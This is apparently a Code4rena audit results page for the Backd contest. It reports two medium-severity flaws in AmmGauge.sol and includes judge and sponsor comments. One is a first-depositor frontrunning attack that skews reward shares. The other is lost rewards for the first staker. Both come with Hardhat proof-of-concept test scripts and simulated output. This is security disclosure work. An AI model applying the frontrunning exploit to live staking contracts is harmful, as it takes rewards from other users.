Platform: Code4rena
Start Date: 27/05/2022
Pot Size: $75,000 USDC
Total HM: 20
Participants: 58
Period: 7 days
Judge: GalloDaSballo
Total Solo HM: 15
Id: 131
League: ETH
Rank: 6/58
Findings: 2
Award: $5,465.06
π Selected for report: 2
π Solo Findings: 2
π Selected for report: 0xNineDec
2732.5332 USDC - $2,732.53
https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L147 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L154
The first staker can take control of how the subsequent shares are going to be distributed by simply staking 1wei amount of the token and frontrunning future stakers. The reasons of this are related on how the variables are updated and with the amounts that the Gauge allows users to stake (anything but zero). The origin of this vulnerability relies on the evaluation of the totalStaked
variable on its inception.
To illustrate this attack an environment of testing was made in order to track the token flows and how the variables are being updated and read.
The initial or border conditions taken into account are the same as the used by the team to perform the tests and just a few assumptions and simplifications were taken.
0.001
). This is valid within a short period of time because it is not a function of how the tokens are distributed or their flows. By tracking how the inflation rate is calculated an updated, we see that it is managed by the currentInflationAmountAmm
within the Minter.sol
contract, which value is modified by _executeInflationRateUpdate()
three lines below the last code permalink. Its value depends on non-token balance related parameters (such as inflation decays and annual rates).Each user state is updated whenever he calls either stake
, unstake
or claimRewards
.
Steps:
10 * 10**decimals()
).Both cases were evaluated (with and without staking 1 wei first). The attack scenario outputs a 100% more shares to Alice than Bob in comparison with the ethical/non-attack situation.
The code used to perform this test is the following:
it("First Depositer Exploit", async function () { let userShares = [] let userIntegral = [] let userBalance = [] let globalIntegral, totalStaked; let aliceBob = [alice, bob]; // Starting Checkpoint await this.ammgauge.poolCheckpoint(); await ethers.provider.send("evm_increaseTime", [1 * 24 * 60 * 60]); // 10 days const updateStates = async () => { userShares = [] userIntegral = [] userBalance = [] for (const user of aliceBob) { let balances = ethers.utils.formatEther(await this.ammgauge.balances(user.address)); let currentShare = ethers.utils.formatEther(await this.ammgauge.perUserShare(user.address)); let currentStakedIntegral = ethers.utils.formatEther(await this.ammgauge.perUserStakedIntegral(user.address)); userShares.push(currentShare); userIntegral.push(currentStakedIntegral); userBalance.push(balances); } globalIntegral = await this.ammgauge.ammStakedIntegral() totalStaked = await this.ammgauge.totalStaked() console.log(" ") console.log(" ALICE / BOB"); console.log(`Shares: ${userShares}`); console.log(`Integr: ${userIntegral}`); console.log(`Balanc: ${userBalance}`); console.log(" ") console.log("Global") console.log(`Integral: ${ethers.utils.formatEther(globalIntegral)}, TotalStaked: ${ethers.utils.formatEther(totalStaked)}`) } const stake = async (to, amount) => { await updateStates() console.log(" ") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).stake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.add(amount)); // await updateStates(); console.log(" ") } const unstake = async (to, amount) => { await updateStates() console.log(" ") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).unstake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.sub(amount)); await updateStates(); console.log(" ") } // HERE IS WHERE THE SIMULATION IS PERFORMED let simulationTimes = 2; let withOneWeiDeposit = true; if (withOneWeiDeposit) { // Alice deposits first console.log("Alice Deposits 1wei") let firstUserDeposit = ethers.utils.parseEther("1"); await stake(alice, 1); } for (let index = 1; index <= simulationTimes; index++) { console.log(" ") console.log(`Loop number ${index}`); console.log(" ") console.log("A day passes until Bob decides to deposit") await ethers.provider.send("evm_increaseTime", [1 * 24 * 60 * 60]); // 1 days console.log(" ") console.log("She scans that Bob is about to stake 10. So decides to frontrun him.") console.log("Alice Frontruns") let frontrunAmount = ethers.utils.parseEther("10"); await stake(alice, frontrunAmount); console.log(" ") console.log("Bob stakes 10 tokens") await stake(bob, frontrunAmount) // A few days pass await ethers.provider.send("evm_increaseTime", [1 * 24 * 60 * 60]); // 2 days // The pool is checkpointed await this.ammgauge.poolCheckpoint(); console.log("After 1 day the pool is checkpointed") await updateStates() } })
The simulation was both made for the attacked and non attacked situations.
The values that are shown represent how the contract updates them (the totalStaked
variable is 0 when first Alice calls the stake function after _userCheckpoint()
rans)
time | Situation | totalStaked | Alice Shares | Bob Shares |
---|---|---|---|---|
0- | First poolCheckpoint | 0 | 0 | 0 |
0+ | Alice Deposits 1wei | 0 | 0 | 0 |
1 | Alice frontruns Bob @ 10eth | 1wei | 0 | 0 |
2 | Bob 10eth txn is mined | 10eth + 1wei | 86.4 | 0 |
3 | 1 day later poolCheckpoint() is called | 20eth + 1 wei | 86.4 | 0 |
4 | Alice frontruns Bob again | 20eth + 1 wei | 86.4 | 0 |
5 | Bob 10eth txn is mined | 30eth + 1wei | 172.8 | 0 |
6 | 1 day later poolCheckpoint() is called | 40eth + 1wei | 172.8 | 86.4 |
time | Situation | totalStaked | Alice Shares | Bob Shares |
---|---|---|---|---|
0- | First poolCheckpoint | 0 | 0 | 0 |
0+ | Alice stakes 10eth | 0 | 0 | 0 |
1 | Bob stakes 10eth | 10eth | 0 | 0 |
2 | 1 day later poolCheckpoint() is called | 20eth | 0 | 0 |
3 | Alice stakes 10eth | 20eth | 0 | 0 |
4 | Bob stakes 10eth | 30eth | 86.4 | 0 |
5 | 1 day later poolCheckpoint() is called | 40eth | 86.4 | 86.4 |
Further evaluation on how the variables are updated and how does the Integral
(both each users and global one) is calculated on the pool inception is needed to patch this issue.
#0 - GalloDaSballo
2022-06-19T14:47:52Z
The warden has identified a way for the rewardsShares
to be improperly assigned.
The exploit is based on the fact that if totalStaked
is zero we effectively will skip the first loop of points.
This can create situations where certain users are rewarded unfairly in comparison to their initial deposit.
However, this only applies when we go from zero to non-zero for totalStaked
henced the scenario proposed by the warden (1 day of free rewards for first depositor) is actually the worst case scenario.
Having the deployer do 2 or 3 initial deposits should mitigate this attack, which ultimately is limited to a leak of value to the first user depositing.
For those reasons, I believe the finding to be valid and of Medium Severity
π Selected for report: 0xNineDec
2732.5332 USDC - $2,732.53
https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L56 https://github.com/code-423n4/2022-05-backd/blob/2a5664d35cde5b036074edef3c1369b984d10010/protocol/contracts/tokenomics/AmmGauge.sol#L140
The first staker within the AmmGauge
may not get the rewards if the pool is not checkpointed right after he stakes and before he wants to claim the rewards.
A testing environment that reproduces how the protocol is going to be deployed and managed is used to evaluate this case under the following assumptions and simplifications.
0.001
)._executeInflationRateUpdate
call. Not while staking.In order to illustrate this scenario we will show both the vulnerable and non vulnerable situations.
Vulnerable Situation:
Non Vulnerable Situation:
_poolCheckpoint()
between Alice stake call and Bobs' and before checking the accumulated rewards.The code to show this has a secureCheckpoints
toggle that can be set as true or false to trigger (or not) the intermediate poolCheckpoints.
it('First Staker Rewards Calculation', async function () { let secureCheckpoints = false; let currentShare, currentStakedIntegral, balances; await this.ammgauge.poolCheckpoint(); await ethers.provider.send("evm_increaseTime", [1 * 24 * 60 * 60]); // 10 days const updateStates = async (from) => { currentShare = await this.ammgauge.perUserShare(from.address); currentStakedIntegral = await this.ammgauge.perUserStakedIntegral(from.address); balances = await this.ammgauge.balances(from.address); } const stake = async (to, amount) => { await updateStates(to) console.log(" ") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).stake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.add(amount)); await updateStates(to); console.log(" ") } const unstake = async (to, amount) => { await updateStates(to) console.log(" ") // Balance before let balanceBefore = await this.ammgauge.balances(to.address); // Stake await this.ammgauge.connect(to).unstake(amount); expect(await this.ammgauge.balances(to.address)).to.be.eq(balanceBefore.sub(amount)); await updateStates(to); console.log(" ") } // Each user stakes tokens let initialStaking = ethers.utils.parseEther("10") console.log(" ") console.log("USERS STAKE"); for (const user of users) { await stake(user, initialStaking) if(secureCheckpoints){await this.ammgauge.poolCheckpoint()}; await ethers.provider.send("evm_increaseTime", [60 * 60]); // 1hr between stakes } console.log(" ") await ethers.provider.send("evm_increaseTime", [ 5 * 24 * 60 * 60]); // 5 days if(secureCheckpoints){await this.ammgauge.poolCheckpoint()}; let claimableRewards = []; let claimedRewards = []; console.log(" ") console.log("USERS CLAIMABLE REWARDS AFTER 5 days"); console.log(" ") for (const user of users) { let stepClaimable = await this.ammgauge.claimableRewards(user.address); claimableRewards.push(ethers.utils.formatEther(stepClaimable)) let rewardsClaim = await (await this.ammgauge.claimRewards(user.address)).wait() claimedRewards.push(ethers.utils.formatEther(rewardsClaim.logs[0]["data"])) } console.log("Claimable calculated") console.log(" ALICE - BOB - CHARLIE - DAVID") console.log(claimableRewards) console.log(" ") console.log("Effectively Claimed") console.log(" ALICE - BOB - CHARLIE - DAVID") console.log(claimableRewards) })
The outputs for both cases are shown on the following chart. The initial staking amount is 10eth amount of the DummyERC20 token.
Without Checkpoints | With Checkpoints | |
---|---|---|
Alice | 6.6 | 115.5 |
Bob | 111.9 | 111.9 |
Charlie | 110.1 | 110.1 |
David | 108.9 | 108.9 |
#0 - chase-manning
2022-06-07T13:02:11Z
This can only impact one user and only in an edge case so should be Medium severity.
#1 - GalloDaSballo
2022-06-19T14:55:15Z
The warden has shown how the first depositor may end up not getting the correct amount of points due to how zero is handled in poolCheckpoint
Am not fully confident this should be kept separate from #100
However at this time, I believe the finding to be of Medium Severity
#2 - GalloDaSballo
2022-07-01T16:37:29Z
At this time, while the underlying solution may be the same, I believe this finding and #100 to be distinct